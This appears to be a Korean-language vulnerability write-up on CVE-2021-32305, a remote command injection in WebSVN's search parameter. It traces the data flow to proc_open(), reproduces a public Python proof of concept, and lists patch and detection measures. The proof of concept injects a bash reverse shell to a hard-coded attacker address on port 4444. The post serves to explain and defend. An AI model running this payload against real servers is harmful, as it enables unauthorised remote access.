1. Websvn

- 웹 기반 Subversion Repository 브라우저로 파일 또는 폴더의 로그를 보거나 파일의 변경 목록을 볼 수 있음

- 온라인 서브버전 저장소 브라우저
- 로컬 또는 원격 SVN저장소를 연결하여 웹 탐색기 제공
- 리비전별 폴더 탐색, 비교
- 파일 히스토리 간편 확인
- 작성언어: PHP

 

WebSVN - Online subversion repository browser

Why WebSVN? WebSVN offers a view onto your subversion repositories that's been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. Yo

websvnphp.github.io

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-32305

- WebSVN에서 search 매개변수에대한 입력값 검증이 없어 발생하는 원격 명령 실행 취약점

영향받는 버전 : WebSVN 2.6.1 이전 버전

 

2.1 분석

- 먼저, 사용자 입력값 중 search 매개변수를 읽어 showSearchResults() 호출

[사진 2] /search.php

 

- search 매개변수(사용자 입력값)는 showSearchResults()의 $searchstring 변수에 대응됨

- showSearchResults()는 다시 getListeSearch()를 호출

[사진 3] /search.php

 

- $searchstring(사용자 입력값)는 getListSearch()의 $searchstring 변수에 대응

- svnCommandString()에 의해 $cmd로 처리된 후 _xmlParseCmdOutput의 인자로 전달

[사진 4] /include/svnlook.php

 

- _xmlParseCmdOutput()에서 runCommand()의 인자로 $cmd 전달

[사진 5] /include/svnlook.php

 

- runCommand()에서 $cmd(사용자 입력값)는 proc_open()에 의해 최종적으로 실행되어 결과를 반환

[사진 6] /include/command.php

 

- proc_open()은 명령을 실행하는 함수로, command 인자는 실행할 명령줄을 가짐

[사진 7] https://www.php.net/manual/en/function.proc-open.php

 

- 위 과정을 요약하면 [사진 8]과 같음

[사진 8] 정리

2.3 PoC

- 아래 PoC는 search 매개변수에 공격자 PC에 리버스쉘을 생성하는 코드를 삽입하는 PoC

# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

 

3. 대응방안

3.1 서버측면

① 패치 버전 적용

- escapeshellarg()를 통해 $searchstring(search 매개변수_사용자 입력값)에 대한 검증을 수행

[사진 9] 패치 코드

 

3.2 네트워크 측면

① /search.php?search이 포함된 URL에 대해 탐지할 수 있는 정책을 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-32305
https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/
https://github.com/websvnphp/websvn/pull/142
https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
https://gryffinbit.top/2022/10/31/%E5%A4%8D%E7%8E%B0websvn-2-6-0-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-cve-2021-32305/
https://zetawiki.com/wiki/WebSVN
https://www.php.net/manual/en/function.proc-open.php
https://github.com/websvnphp/websvn/releases/tag/2.6.0

+ Recent posts